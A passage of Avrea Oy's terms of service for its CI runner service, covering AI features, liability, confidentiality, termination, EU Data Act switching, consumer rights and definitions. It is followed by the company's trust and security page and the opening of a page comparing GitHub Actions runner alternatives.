by third-party artificial intelligence providers (“AI Providers”). 10.2. When using AI Features, the Customer or its Customer Users may submit inputs to the Service (“Input”) and receive outputs generated by the Service (“Output”). The Customer acknowledges that Outputs are generated by AI systems and may not be accurate, complete or suitable for any particular purpose. The Customer is solely responsible for evaluating the accuracy, suitability and legality of any Output before relying on it. 10.3. The Supplier may make pre-release or experimental AI Features available to the Customer. The Supplier may discontinue any such pre-release AI Feature at any time without notice and without incurring any liability to the Customer. 10.4. Each Party shall comply with the AI Regulation in connection with its use of the Service and, in particular: 10.4.1. the Customer shall not use the Service for any Prohibited Practices under the AI Regulation; and 10.4.2. the Customer shall not use the Service for any purpose falling within the scope of High-Risk Use Cases without the Supplier’s prior written permission or without ensuring that all applicable obligations under the AI Regulation are complied with in respect of such use. 10.5. The Customer acknowledges that AI Providers may maintain their own terms of use, acceptable use policies and related terms applicable to the use of their AI Feature (“AI Provider Terms”). The Supplier assumes no liability for the acts or omissions of any AI Provider. To the extent that any AI Provider Terms expressly require compliance by end customers or end users of the Supplier’s service, and the Supplier has made such AI Provider Terms available to the Customer (whether in the Service Description or otherwise), the Customer shall comply with those AI Provider Terms as they apply to the Customer’s use of the relevant AI Features. **11. INDEMNIFICATION** 11.1. The Customer shall indemnify, keep indemnified and hold the Supplier and the Supplier Personnel harmless against any and all damages, claims, actions, proceedings, losses, reasonable costs (including legal fees) and expenses arising from any third-party claims arising out of or in connection with: (a) the Customer’s or any Customer User’s use (or misuse) of the Service in breach of this Agreement; and/or (b) any breach of the Customer’s warranty in Clause 8.2. **12. LIMITATION OF LIABILITY** 12.1. Nothing in this Agreement excludes or limits the liability of either Party to the other for: 12.1.1. death or personal injury caused by negligence; 12.1.2. fraud or fraudulent misrepresentation; 12.1.3. gross negligence or wilful misconduct; or 12.1.4. any other liability that cannot be excluded or limited by Applicable Law. 12.2. Subject to Clause 12.1, neither the Supplier nor the Customer shall be liable, whether in tort (including negligence), breach of statutory duty, contract, misrepresentation, restitution or otherwise, for any: 12.2.1. loss of profits, loss of business, loss of savings, depletion of goodwill or similar losses, or pure economic loss; 12.2.2. loss or corruption of data or information; or 12.2.3. special, indirect, incidental, punitive, exemplary or consequential loss or damage, in each case however arising under or in connection with this Agreement, and even if the Supplier or the Customer was aware of the possibility that such loss or damage might be incurred. 12.3. Subject to Clauses 12.1 and 12.2, and save for the Customer’s payment obligations in respect of the Subscription Fees, the total aggregate liability of either Party in contract, tort (including negligence or breach of statutory duty), misrepresentation, restitution or otherwise, arising under or in connection with the performance, non-performance or contemplated performance of this Agreement, shall in no event exceed the lesser of: (a) EUR 50,000 (fifty thousand euros); and (b) the total Subscription Fees paid by the Customer to the Supplier in the twelve (12) months immediately preceding the event giving rise to the claim. 12.4. The provisions of this Agreement allocate risks between the Supplier and the Customer and form an essential basis of the bargain between the Parties. The Supplier’s pricing reflects this allocation of risks and the limitation of liability set out in this Clause 12. The provisions of this Clause 12 shall apply to the fullest extent permitted by Applicable Law, even if any remedy fails its essential purpose. **13. CONFIDENTIALITY** 13.1. The Receiving Party shall: 13.1.1. only use (including making copies of) Confidential Information in connection with and to the extent necessary for the purposes of this Agreement; 13.1.2. not disclose the Confidential Information to any person except with the prior written consent of the Disclosing Party or in accordance with Clause 13.2; and 13.1.3. keep all Confidential Information secret and securely protected against theft or unauthorised access. 13.2. The Receiving Party may disclose Confidential Information to its legal advisors who are subject to statutory obligations of professional confidentiality, to the extent necessary for the purposes of obtaining legal advice in connection with this Agreement. 13.3. The Receiving Party may disclose Confidential Information to any regulator, law enforcement agency or other third party if required to do so by Applicable Law or similar authority. In such circumstances, the Receiving Party shall (to the extent practicable and lawful to do so) notify the Disclosing Party in writing as soon as practicable before the disclosure and shall use all reasonable endeavours to consult with the Disclosing Party with a view to agreeing the timing, manner and extent of the disclosure. 13.4. All Confidential Information shall remain the property of the Disclosing Party, which reserves all rights therein. Nothing in this Agreement shall operate to transfer, or operate as a grant of any licence or right to use, any Intellectual Property Rights in the Confidential Information. 13.5. The Parties’ obligations under this Clause 13 shall continue in force for five (5) years after the termination or expiry of this Agreement. Notwithstanding the foregoing, the obligations of confidentiality with respect to any Confidential Information that constitutes a trade secret shall continue indefinitely for as long as such information remains a trade secret. 13.6. Each Party acknowledges that damages alone would not be an adequate remedy in the event of a breach of this Clause 13 by the other Party. Accordingly, either Party shall be entitled, without proof of special damages, to seek injunctive or other interim relief for any threatened or actual breach of this Clause 13, without prejudice to any other rights and remedies which that Party may have. **14. TERM, TERMINATION AND SUSPENSION** **Termination for Convenience** 14.1. Unless the Order Form specifies different terms regarding the Agreement’s term or termination periods, the following shall apply: Either Party may terminate this Agreement for convenience in accordance with this clause 14.1 by giving written notice to the other Party. If the Customer terminates this Agreement for convenience, the termination shall take effect on the last day of the calendar month in which such notice is given. If the Supplier terminates this Agreement for convenience, the termination shall take effect immediately upon the giving of such notice or at such later date as the Supplier may determine at its sole discretion. **Effects of Termination** 14.2. On termination of this Agreement for any reason: 14.2.1. all licences and other rights granted under this Agreement shall immediately terminate and the Customer and the Customer Users shall immediately cease all use of the Service; 14.2.2. the Supplier may immediately end the Customer’s and the Customer Users’ use of and access to the Service; 14.2.3. the Customer shall immediately pay all sums and amounts payable to the Supplier under the terms of this Agreement; 14.2.4. each Party shall return or destroy, and make no further use of, any equipment, property, materials and other items (and all copies of them) belonging to the other Party, including the other Party’s Confidential Information, except that the Supplier may retain reasonable professional records and shall be entitled to retain the Customer’s Confidential Information for the purposes of internal audit, litigation and/or compliance with Applicable Law; 14.2.5. the Supplier shall have no obligation to retain Customer Data after the expiry of thirty (30) days from the date of termination, and the Supplier may destroy or otherwise dispose of any Customer Data in its possession at any point thirty (30) days or more after termination of this Agreement; and 14.2.6. any rights, remedies, obligations or liabilities of the Parties that have accrued up to the date of termination shall not be affected or prejudiced. 14.3. Clauses 1 to 17 and any other provisions which are necessary for the interpretation or enforcement of this Agreement shall continue in force notwithstanding termination. **Suspension** 14.4. The Supplier may suspend or limit the Customer’s right to access or use any portion or all of the Service immediately upon notice to the Customer if the Supplier determines, acting reasonably, that: 14.4.1. the Customer’s or a Customer User’s use of or access to the Service: (a) poses a security risk to the Supplier, the Service or any third party; (b) may adversely impact the availability or performance of the Service or the systems of any other customer of the Supplier; (c) may subject the Supplier or any third party to liability; or (d) may be fraudulent; or 14.4.2. the Customer or any Customer User is in material breach of this Agreement. 14.5. The Supplier shall reinstate the suspended Service once it has established that the cause of the suspension has been remedied or has ceased to exist. Where the cause of the suspension persists for more than thirty (30) days, the Supplier may immediately terminate this Agreement without incurring any liability to the Customer. **15. SWITCHING** 15.1. This Clause 15 applies to the extent that the Customer exercises its right to switch to another provider or to an on-premises solution in accordance with Regulation (EU) 2023/2854 of the European Parliament and of the Council (the “Data Act”). This Clause does not create a general right for the Customer to terminate this Agreement early. **Switching Request** 15.2. To initiate a switch, the Customer must submit a written request to the Supplier (a “Switching Request”) specifying: (a) the intended new provider or infrastructure environment; (b) the desired start date for the Transitional Period (which shall not be less than two (2) months after the date of the Switching Request); and (c) the Exportable Data that the Customer wishes to export, by reference to the data formats and structures listed in the Supplier’s online register of available data formats and interfaces maintained in accordance with the Data Act. **Transitional Period** 15.3. The Transitional Period shall commence on the date agreed in the Switching Request and shall, as a default, last thirty (30) calendar days. If a thirty-day Transitional Period is technically infeasible, the Supplier shall notify the Customer in writing within fourteen (14) working days of receipt of the Switching Request, setting out the technical reasons for the infeasibility and the expected duration of the required extension. In such a case, the Transitional Period shall be extended by the minimum period necessary and shall not exceed seven (7) months in total. The Customer may extend the Transitional Period once by written notice to the Supplier. 15.4. During the Transitional Period, the Supplier shall: (a) continue to provide the Service at the agreed service level; (b) maintain the security and integrity of Customer Data; and (c) provide reasonable technical assistance to facilitate the export of Exportable Data. The Supplier is under no obligation to develop new technology or interfaces, to transfer Intellectual Property Rights or trade secrets, or to take any action that would compromise the security or integrity of the Service or Customer Data. 15.5. The Customer shall cooperate in good faith with the Supplier during the Transitional Period to facilitate an orderly switch. **Retrieval Period and Deletion** 15.6. Following the end of the Transitional Period, the Customer shall have a period of at least thirty (30) calendar days (the “Retrieval Period”) during which it may retrieve any remaining Exportable Data. Following the expiry of the Retrieval Period, the Supplier may delete the Exportable Data, unless Data Protection Legislation or other Applicable Law requires its continued retention. **Switching Charges** 15.7. Switching charges, where applicable, shall be determined in accordance with the Data Act. From 12 January 2027, the Supplier shall not impose switching charges. Prior to that date, any switching charges shall be reduced switching charges capped at the costs directly linked to the switching process, as set out in the Data Act. **16. NOTICES** 16.1. Any notice required to be given under this Agreement shall be in writing in English and shall be delivered by email to the other Party at its email address as set out in the Order Form. 16.2. A notice sent by email shall be deemed to have been received at the time and date of transmission shown on the saved sent copy kept by the sender (or if delivery is not during business hours, at 9.00 am (EET) on the first Business Day following delivery). 16.3. This Clause 16 shall not apply to the service of legal proceedings. **17. GOVERNING LAW AND DISPUTE RESOLUTION** 17.1. This Agreement and any dispute or claim arising out of or in connection with it or its subject matter or formation (including non-contractual disputes or claims) shall be governed by and construed in accordance with the law of Finland. 17.2. The United Nations Convention on Contracts for the International Sale of Goods (CISG) shall not apply to this Agreement. 17.3. Any dispute, controversy or claim arising out of or relating to this Agreement, or the breach, termination or validity thereof, shall be finally settled by arbitration in accordance with the Arbitration Rules of the Finland Chamber of Commerce. The number of arbitrators shall be one. The seat of arbitration shall be Helsinki, Finland. The language of the arbitration shall be English unless the Parties agree otherwise. **18. CONSUMER TERMS** 18.1. General Provisions. This Clause 18 applies solely where the Customer is a Consumer. In the event of any conflict between this Clause 18 and any other provision of this Agreement, this Clause 18 shall prevail to the extent of the conflict. Nothing in this Agreement shall limit or exclude any rights that the Customer has as a Consumer under mandatory, applicable Consumer Protection Law to the extent that such rights cannot lawfully be excluded or restricted. 18.2. Right of withdrawal. Where this Agreement is concluded online or otherwise by distance or off-premises means, the Customer shall have the right to withdraw from this Agreement within fourteen (14) days from the date on which this Agreement is entered into, without giving any reason and without incurring any cost beyond those expressly provided for by law. 18.3. Refunds. Notwithstanding Clause 1 of these Terms, where the Customer validly exercises the right of withdrawal under Clause 18.2, the Supplier shall reimburse all payments of Subscription Fees received from the Customer without undue delay. Where, at the Customer’s request, the performance of the Service has begun during the withdrawal period, the Supplier is entitled to retain an amount of Subscription Fees paid by the Customer that is proportionate to the Service provided up to the time the Supplier is informed of the Customer’s exercise of the right of withdrawal. The reimbursement shall be made using the same means of payment as used for the original transaction, unless the Customer has expressly agreed otherwise, and in any event at no cost to the Customer. 18.4. Changes to terms and pricing. Notwithstanding any other provision of this Agreement, any change to the Subscription Fees or to these Terms that is to the detriment of the Customer shall be made only on a justified and proportionate basis, shall be communicated clearly and in advance, and the Customer may terminate this Agreement free of charge and without penalty before the change takes effect. Without limitation to the foregoing, such changes may be made only where they are based on one or more of the following justified reasons: 18.4.1. changes in applicable law, regulation, binding authority guidance, or regulatory interpretation that require amendments to the Service, pricing structure or contractual terms; 18.4.2. changes required to maintain the compliance, security, integrity or lawful operation of the Service, including changes related to data protection, information security, cybersecurity, or risk management obligations; 18.4.3. material changes to third-party services, infrastructure, platforms, APIs or licensing terms on which the Service relies and which are outside the Supplier’s reasonable control; 18.4.4. changes to the scope, functionality or technical characteristics of the Service, including the introduction of new features, the modification of existing features, or the discontinuation of features, provided that such changes are not purely cosmetic and have a material impact on costs or value; 18.4.5. changes necessary to address objectively demonstrable increases in the Supplier’s costs of providing the Service, including infrastructure, hosting, security, compliance or maintenance costs, where such increases could not reasonably have been anticipated at the time the Agreement was concluded; 18.4.6. changes made to prevent abuse, misuse or activities that materially impair the performance, security or availability of the Service for other customers; or 18.4.7. changes resulting from the Supplier’s reorganisation, merger, acquisition or change of control, to the extent that such change necessitates amendments to the pricing or contractual structure of the Service. 18.5. Dispute resolution. Notwithstanding Clause 17 of these Terms, the mandatory arbitration provisions of Clause 17.3 shall not apply to the Customer. The Customer may also bring any dispute before the relevant consumer dispute resolution body. In Finland, the relevant body is the Consumer Disputes Board (kuluttajariitalautakunta), available at [www.kuluttajariitalautakunta.fi](http://www.kuluttajariitalautakunta.fi) ([http://www.kuluttajariitalautakunta.fi/](http://www.kuluttajariitalautakunta.fi/)). 18.6. Disclaimers and limitation of liability. The disclaimers, exclusions and limitations of liability set out in this Agreement apply to the Customer only to the extent permitted by mandatory consumer law and shall not exclude or restrict the Supplier’s statutory liability for non-conforming Services or digital content where such liability cannot be excluded. **19. MISCELLANEOUS** 19.1. Force Majeure. Neither Party shall be in breach of this Agreement nor liable for any delay in performing, or failure to perform, any of its obligations under this Agreement if such delay or failure results from events, circumstances or causes beyond its reasonable control, including, without limitation, strikes, lock-outs or other industrial disputes, failure of a utility service or transport or telecommunications network or the internet, act of God, war, pandemic, riot, civil commotion, malicious damage, compliance with any law or governmental order, rule, regulation or direction, accident, breakdown of plant or machinery, fire, flood, storm, or default of suppliers or sub-contractors. In such circumstances the affected Party shall be entitled to a reasonable extension of the time for performing its obligations, provided that if the period of delay or non-performance continues for three (3) months, either Party may terminate this Agreement by giving thirty (30) days’ written notice to the other Party. 19.2. No Waiver. The failure to exercise, or delay in exercising, a right, power or remedy provided by this Agreement or by Applicable Law shall not constitute a waiver of that right, power or remedy. If a Party waives a breach of any provision of this Agreement, this shall not operate as a waiver of a subsequent breach of that provision, or as a waiver of a breach of any other provision. 19.3. Rights and Remedies. Except as expressly provided in this Agreement, the rights and remedies provided under this Agreement are in addition to, and not exclusive of, any rights or remedies provided by Applicable Law. 19.4. Severance. If any provision, or part of a provision, of this Agreement is found by any court or authority of competent jurisdiction to be illegal, invalid or unenforceable, that provision or part-provision shall be deemed not to form part of this Agreement, and the legality, validity or enforceability of the remainder of the provisions of this Agreement shall not be affected, unless otherwise required by operation of Applicable Law. If any invalid, unenforceable or illegal provision would be valid, enforceable or legal if modified, the provision shall apply with whatever modification is necessary to give effect to the commercial intention of the Parties. 19.5. Assignment. The Customer shall not, without the prior written consent of the Supplier, assign, transfer, charge, sub-contract or deal in any other manner with all or any of its rights or obligations under this Agreement. The Supplier may at any time assign, transfer, charge, sub-contract or deal in any other manner with all or any of its rights or obligations under this Agreement to its Affiliates or in connection with a merger, acquisition or sale of all or substantially all of its assets, without the Customer’s prior consent. The Customer shall enter into any further agreements reasonably required by the Supplier to give effect to the above. 19.6. Relationship of the Parties. Nothing in this Agreement is intended to, or shall be deemed to, establish or constitute any partnership or joint venture between the Parties, create a relationship of principal and agent for any purpose between the Parties, or authorise either Party to make or enter into any commitments for or on behalf of the other Party. 19.7. Entire Agreement. This Agreement constitutes the entire agreement between the Parties in relation to its subject matter. It replaces and extinguishes all prior agreements, collateral warranties, collateral contracts, statements, representations and undertakings made by or on behalf of the Parties, whether oral or written, in relation to that subject matter. Each Party acknowledges that in entering into this Agreement it has not relied upon any collateral warranties, collateral contracts, statements, representations or undertakings, whether oral or written, which were made by or on behalf of the other Party and which are not set out in this Agreement. Each Party hereby waives all rights and remedies which might otherwise be available to it in relation to such prior statements or representations. Nothing in this Clause shall exclude or restrict the liability of either Party arising out of its pre-contractual fraudulent misrepresentation or fraudulent concealment. 19.8. Amendments. The Supplier may amend these Terms unilaterally as it deems necessary, including in response to changes in the Supplier’s field of business, the Service or the applicable regulatory framework. The Supplier shall notify the Customer of material amendments at least thirty (30) days in advance, unless compliance with Applicable Law or regulation requires that the amendments be made sooner. If the Customer does not wish to accept a material amendment, the Customer may terminate this Agreement by written notice to the Supplier within thirty (30) days of receiving notification of the amendment. Continued use of the Service after the expiry of the notice period shall constitute the Customer’s acceptance of the amended Terms. Any amendment not mentioned in these Terms to an Order Form shall require mutual written agreement. 19.9. Conflicts. In the event of any conflict between the Order Form and these Terms, the conflict shall be resolved by giving priority, first, to the Order Form; and, second, to these Terms (including any schedules hereto). 19.10. Third-Party Services. The Supplier may use third-party services, software or infrastructure in providing the Service. The Supplier assumes no responsibility for the performance, availability or security of such third-party services and shall not be liable for any failure or deficiency thereof. 19.11. Third-Party Rights. A person who is not a party to this Agreement may not enforce any of its provisions nor bring a claim for the recovery of any losses, liabilities, expenses or costs arising out of or relating to this Agreement or the Service, except that the Supplier Personnel shall be entitled to rely on and enforce the provisions of Clauses 5, 11 and 12. The consent of any third party is not necessary for any variation or termination of this Agreement. All claims brought by the Customer under or as a result of this Agreement shall be brought against the Supplier only and not any Supplier Personnel. 19.12. Upstream Dependencies. The Service may integrate with or depend upon Third-Party Platforms. The Supplier shall not be liable for any service disruption, outage, degraded performance or other limitation of the Service arising from or caused by any Third-Party Platform or any other upstream dependency that is beyond the Supplier’s reasonable control. The provisions of Clause 19.1 (Force Majeure) are without prejudice to this Clause 19.12. 19.13. Marketing Rights. The Parties grant each other the right to identify the Customer as a user of the Service in marketing materials. Either Party may withdraw this consent at any time by giving written notice to the other Party, following which the other Party shall, within a reasonable period, cease to use the withdrawing Party’s name or logo in any new marketing materials and shall, to the extent reasonably practicable, update or remove existing materials. 19.14. Notifications. All notifications to the Supplier under the Agreement shall be made to [legal@avrea.com](mailto:legal@avrea.com). **SCHEDULE 1: DEFINITIONS AND INTERPRETATION** | Term | Definition | | --- | --- | | Accepted Purposes | means all purposes related to the use and utilisation of the Service under this Agreement for the Customer’s internal business operations, excluding any purposes that are prohibited herein. The Customer may not resell, rent, license or otherwise transfer the Service to a third party, nor use or offer the Service for military purposes, including but not limited to the development, production, testing or use of weapons. Accepted Purposes must comply with the Applicable Law of this Agreement. | | Affiliate | means any entity in respect of a Party that, from time to time, directly or indirectly Controls, is Controlled by, or is under common Control with that Party, and any other entity agreed in writing by the Parties as being an Affiliate of either Party. | | Agreement | means the Order Form, these Terms and all annexes attached to either of them, all of which together constitute the entire agreement between the Parties. | | AI Feature | means any feature or functionality of the Service that incorporates, uses or is powered by artificial intelligence. | | AI Provider | means any third-party provider of artificial intelligence services or models used by the Supplier in connection with the Service. | | AI Regulation | means Regulation (EU) 2024/1689 of the European Parliament and of the Council on Artificial Intelligence (the EU AI Act), as amended or replaced from time to time, and any other legislation applicable to the development, provision or use of Artificial Intelligence under the Applicable Law. | | Applicable Law | means the legislation applicable to this Agreement, as set out in Clause 17 (Governing Law and Dispute Resolution). | | Beta Feature | means any feature or functionality of the Service that is released by the Supplier in a pre-release, beta, pilot or similar experimental capacity. | | Build Logs | mean the records generated by the Service in connection with the Customer’s use of the Service, including timestamps, command outputs, pipeline execution records and error messages. | | Business Day | means any day which is not a Saturday, Sunday or public holiday in Finland. | | Commencement Date | means the commencement date of this Agreement as specified in the Order Form. Unless otherwise specified, the Commencement Date shall be the date on which the Customer subscribes to the Service through an Order Form. | | Confidential Information | means all information in any medium or format (including written, oral, visual or electronic, and whether or not marked or described as “confidential”), together with any copies thereof, which relates to the Disclosing Party, to its Affiliates, or to its (or its Affiliates’) employees, officers, customers or suppliers, and which is directly or indirectly disclosed by or on behalf of the Disclosing Party to the Receiving Party under or in connection with this Agreement, whether before or after the date of this Agreement, and which would reasonably be regarded as confidential, but shall not include: (i) information which is in the public domain other than as a result of a breach of this Agreement or any separate confidentiality undertaking between the Parties; (ii) information which the Receiving Party received, free of any obligation of confidence, from a third party which was not itself under any obligation of confidence in relation to that information; or (iii) information which the Receiving Party can show by its written or other records was developed or created independently by the Receiving Party or any of its Affiliates. | | Consumer | means a natural person who enters into this Agreement primarily for purposes outside that person’s trade, business, craft or profession. | | Consumer Protection Law | means the Finnish Consumer Protection Act (38/1978, as amended). | | Control | means: the ability — whether through share ownership, voting rights, contractual rights or otherwise — to: control more than half of the voting rights at a general meeting of that Party; appoint or remove all or a majority of the directors (or equivalent officers) of that Party; or direct the Party’s operating and financial policies; or the beneficial ownership of more than fifty per cent (50%) of that Party’s issued share capital (excluding any non‑participating shares). | | Customer | means the entity entering into this Agreement with the Supplier as identified in the Order Form. | | Customer Data | means (a) any data transferred to the Supplier by the Customer for input into the Service, including any data input into the Service by the Customer Users; and (b) any data generated for or on behalf of the Customer as a direct result of the Customer’s use of the Service, including Build Logs and any outputs, results or deliverables produced by the Service for the Customer, but excluding Information. | | Customer-Licensed Software | means software that is not included in the Supplier’s licence grant under this Agreement and which requires the Customer to obtain a separate licence from a third-party vendor in order to use such software in connection with the Service. | | Customer Users | means the individual employees, agents or contractors of the Customer who are authorised by the Customer to access and use the Service solely on behalf of and for the benefit of the Customer. | | Data Act | means Regulation (EU) 2023/2854 of the European Parliament and of the Council on harmonised rules on fair access to and use of data, as amended or replaced from time to time. | | Data Protection Legislation | means the General Data Protection Regulation ((EU) 2016/679) (“GDPR”), the Privacy and Electronic Communications Directive 2002/58/EC (as updated by Directive 2009/136/EC), and any legislation and/or regulation implementing or made pursuant to them, or which amends, replaces, re-enacts or consolidates any of them, and all other applicable laws relating to the processing of personal data and privacy that may apply under the Applicable Law. | | Data Subject | means a natural person whose Personal Data is processed by the Supplier under this Agreement on behalf of the Customer. | | Disclosing Party | means a Party disclosing its Confidential Information to the Receiving Party, which in the case of the Customer may be the Customer and/or the Customer Users and in the case of the Supplier may be the Supplier and/or the Supplier’s Affiliates. | | EEA | means the European Economic Area, consisting of the EU Member States together with Iceland, Liechtenstein and Norway, and any other states that may become members of the EEA from time to time. | | Exportable Data | means the Customer Data that the Customer is entitled to export in connection with a switching process under Clause 15. | | Feedback | means any suggestions, enhancement requests, recommendations, comments or other feedback provided by the Customer or any Customer User to the Supplier in relation to the Service. | | High-Risk Use Case | has the meaning given to it in the AI Regulation. | | Information | means all data, information, content and materials of any kind owned, developed or maintained by the Supplier, including the Service, the Software, the Service Description, documentation, technical specifications, know-how, methodologies, algorithms, training data, models, configurations, performance data, operational data, usage statistics and analytics relating to the Service, and any improvements, developments or derivative works thereof, in each case in whatever form or medium, whether or not disclosed to the Customer in connection with this Agreement. | | Input | means any data, content or information submitted by the Customer or a Customer User to the Service when using an AI Feature. | | Insolvency Event | means the occurrence of any one or more of the following events in relation to a Party: (a) the Party becomes unable to pay its debts, admits its inability to pay its debts or becomes insolvent; (b) a petition is presented, an order is made or a resolution is passed for the liquidation (otherwise than for the purposes of a solvent amalgamation or reconstruction), administration, bankruptcy or dissolution of the Party; (c) an administrative or other receiver, manager, trustee, liquidator, administrator or similar person or officer is appointed to the Party and/or over all or any part of the assets of the Party; (d) the Party enters into or proposes any composition or arrangement concerning its debts with its creditors (or any class of its creditors) generally; or (e) anything equivalent to any of the events listed in (a) to (d) occurs in any applicable jurisdiction. | | Intellectual Property Rights | means: (a) patents, inventions, designs, copyright and related rights, database rights, know-how and Confidential Information, trademarks (whether registered or unregistered) and related goodwill, trade names (whether registered or unregistered), and rights to apply for registration; (b) all other rights of a similar nature or having an equivalent effect anywhere in the world which currently exist or are recognised in the future; and (c) all applications, extensions and renewals in relation to any such rights. | | Malware | means any thing or device (including any software, code, file or programme) which may: prevent, impair or otherwise adversely affect the operation of any computer software, hardware or network, any telecommunications service, equipment or network or any other service or device; prevent, impair or otherwise adversely affect access to or the operation of any programme or data, including the reliability of any programme or data (whether by re-arranging, altering or erasing the programme or data in whole or part or otherwise); or adversely affect the user experience, including worms, trojan horses, viruses and other similar things or devices. | | Minimum Technical Requirements | means the minimum technical requirements the Customer is required to meet in order to enable its Customer Users to access and use the Service in accordance with this Agreement, as may be notified by the Supplier from time to time, including in the Service Description. | | Order Form | means the form by which the Customer subscribes to the Service, which is: where the subscription is made online, the online subscription page; or where the subscription is agreed with the Supplier’s customer service representative, the Customer’s written confirmation to enter into the subscription. | | Output | means any data, content or information generated by the Service in response to an Input when using an AI Feature. | | Open-Source Software | means software that is distributed under a licence that grants users the right to use, inspect, modify and distribute the source code, including licences approved by the Open Source Initiative (OSI), such as the GNU General Public License (GPL), the MIT licence, and the Apache Licence. | | Open-Source Terms | means the applicable licence terms governing any Open-Source Software included in or distributed with the Service. | | Party | means a party to this Agreement, and “Parties” shall be construed accordingly. | | Payment Terms | means the terms and conditions governing the applicable Subscription Fees and payments under this Agreement, as referred to in the Order Form or otherwise made available by the Supplier. | | Personal Data | means personal data as defined in the Data Protection Legislation which the Supplier processes under this Agreement on behalf of the Customer. | | Personal Data Breach | means a breach of security leading to the destruction, loss, alteration, unauthorised disclosure of, or access to, Personal Data transmitted, stored or otherwise processed. | | Prohibited Practices | has the meaning given to it in the AI Regulation. | | Receiving Party | means a Party receiving Confidential Information from the Disclosing Party, which in the case of the Supplier may be the Supplier and/or the Supplier’s Affiliates. | | Service | means the services that the Supplier provides to the Customer pursuant to this Agreement as specified in the Service Description. | | Service Description | means the published specification for the Service setting out, amongst other things, a description of the operation and functioning of the Service, the services available via the Service, and the Supplier’s processes and procedures for maintaining the security, availability and performance of the Service, as updated by the Supplier from time to time. | | Sanctioned Country | means any country or territory subject to comprehensive trade or economic sanctions imposed by the European Union, the United Nations, or the United States of America, as updated from time to time. | | Sanctioned Person | means any individual or entity designated on any restricted party or sanctions list maintained by the European Union, the United Nations, or the United States of America, including the EU Consolidated List, the UN Consolidated Sanctions List, and the US Office of Foreign Assets Control (OFAC) lists. | | SLA | means the service level agreement, if any, provided by the Supplier to the Customer separately from these Terms, setting out the agreed service levels applicable to the Service. | | Software | means the software used by the Supplier and/or any Supplier Affiliates or sub-contractors in delivering the Service. | | Subprocessor | means a processor acting on behalf of the Supplier in the processing of Personal Data under this Agreement. | | Subscription Fees | means the subscription fees specified in the Order Form, as may be amended in accordance with this Agreement. | | Supplier | means Avrea Oy, a limited liability company incorporated in Finland (company number 3551133-7), with its registered address at Annankatu 29 A 8, 00100 Helsinki, FINLAND. | | Supplier Personnel | means the Supplier’s Affiliates and the Supplier’s and its Affiliates’ employees, directors, officers, agents and subcontractors. | | Term | means the term of this Agreement as specified in the Agreement or the Order Form. | | Terms | means these Terms of Service, including all Schedules. | | Third-Party Platforms | means the third-party code repository, CI/CD and cloud infrastructure platforms on which the Service depends or with which it integrates. | | Third-Party Software | means any software, tools, libraries, runtime environments or other components that are owned by or licensed from third parties, are not the Supplier’s proprietary software, and are included in or made available as part of the Service, including components pre-installed in runner images. | | Third Country | means a country that is neither part of the EEA nor has been declared adequate by a decision of the European Commission under Article 45 GDPR. | | Transitional Period | has the meaning given to it in Clause 15.3. | ‍ Interpretation The following rules of interpretation shall apply in this Agreement: (a) Clause and Schedule headings are for convenience only and shall not affect the interpretation of this Agreement. (b) Unless the context otherwise requires: (i) words in the singular shall include the plural and in the plural include the singular; and (ii) a reference to one gender shall include a reference to the other genders. (c) A reference to writing or written includes electronic forms including email. (d) References to Clauses are to the clauses of these Terms. (e) A reference to a statute or statutory provision is a reference to it as it is in force as at the date of this Agreement and as amended by any subsequent statute or statutory provision. Where a change to a statute or statutory provision results in the Supplier and/or any Supplier Affiliates or sub-contractors incurring additional or increased costs to achieve compliance in relation to the Service, the Supplier reserves the right to charge fees to reflect such additional or increased costs on no less than thirty (30) days’ prior written notice. (f) Any phrase introduced by the expressions *including*, *includes*, *in particular* or any similar expression shall be construed as illustrative only and shall not limit the sense of the words preceding those terms. (g) The terms “controller”, “processor”, “personal data” and “process” shall be interpreted in accordance with the GDPR or other applicable Data Protection Legislation in the relevant jurisdiction. (h) Capitalised terms used in these Terms but not defined herein shall have the meanings given to them in the Order Form. ‍ --- Source: https://avrea.com/trust-security # Trust & Security ISO 27001:2022 certified and SOC 2 Type II attested. Explore how Avrea protects your builds, manages access and supports your security review. Protect your source code, credentials and build data with isolated CI jobs, repository-scoped caches and centralized access controls. [Avrea Trust Center](https://trust.avrea.com/) ## Certifications and audits Independent assurance, with the documentation to back it up ### ISO 27001:2022 Our information security management system is certified to ISO/IEC 27001:2022. [Request via Trust Center](https://trust.avrea.com/resources) ### SOC 2 Type II Independent attestation of our controls covering security, availability and confidentiality. [Request via Trust Center](https://trust.avrea.com/resources) ### Data privacy Our privacy policy explains how we handle personal data and your rights under GDPR. [Read the privacy policy](https://avrea.com/privacy) ## How jobs, caches and access are protected From the environment running your code to the people who can access it ### Isolated CI jobs Every CI job runs in its own VM, destroyed when the job ends. Build and GitHub Actions caches are scoped to your repository. Caches and optional persistent disks retain state separately. ### SSO and access policies Sign in with GitHub, Google or SAML. Enterprise teams can require SAML for verified company domains and apply their identity provider’s MFA and access policies. ### Encryption The console and API use HTTPS. Traffic between runners and cache proxies is encrypted in transit, and cache data is encrypted at rest. Avrea does not store account passwords. ### Role-based access Separate administration, billing and everyday access with organization roles. Repository access follows GitHub permissions, including for administrators. ### Audit logs Keep organization audit records in storage you control. Export events continuously to your own S3-compatible or Google Cloud Storage bucket and apply your retention policies. ### Hosting and data handling Avrea uses providers including Aiven, Google Cloud and OVHcloud. Our subprocessor list explains their roles. Talk to us about data location requirements for the services you plan to use. Explore repository SBOMs, egress rules, SSO and audit exports. [Explore security features](https://avrea.com/security) Teams running CI on Avrea - [Case study](https://avrea.com/case-studies/luo) - [Case study](https://avrea.com/case-studies/promorepublic) - [Case study](https://avrea.com/case-studies/focal) - [Case study](https://avrea.com/case-studies/syncle) - [Case study](https://avrea.com/case-studies/sono) - [Case study](https://avrea.com/case-studies/githits) - [Case study](https://avrea.com/case-studies/zero) - [Case study](https://avrea.com/case-studies/teamspective) ## Security documentation Find our compliance documents, security controls and subprocessors in the Avrea Trust Center. Request access there for certificates, attestation documents and other restricted resources. [Visit the Trust Center](https://trust.avrea.com/) Certificates and attestations Request the ISO certificate and SOC 2 attestation documents Security controls Access procedures, monitoring, incident response and continuity Subprocessors Infrastructure and service providers, with their roles [Data processing terms](https://avrea.com/terms) [Service and retention terms](https://avrea.com/service-description) --- Source: https://avrea.com/warpbuild-alternatives # WarpBuild alternatives for GitHub Actions runners Seven alternatives to WarpBuild for GitHub Actions runners: Avrea, Blacksmith, Depot, Namespace, Ubicloud, RunsOn and GitHub, with dated prices and benchmarks. These providers run your existing GitHub Actions workflows. Compare runner prices, build times and which ones can run inside your own cloud account. ## Which alternative to 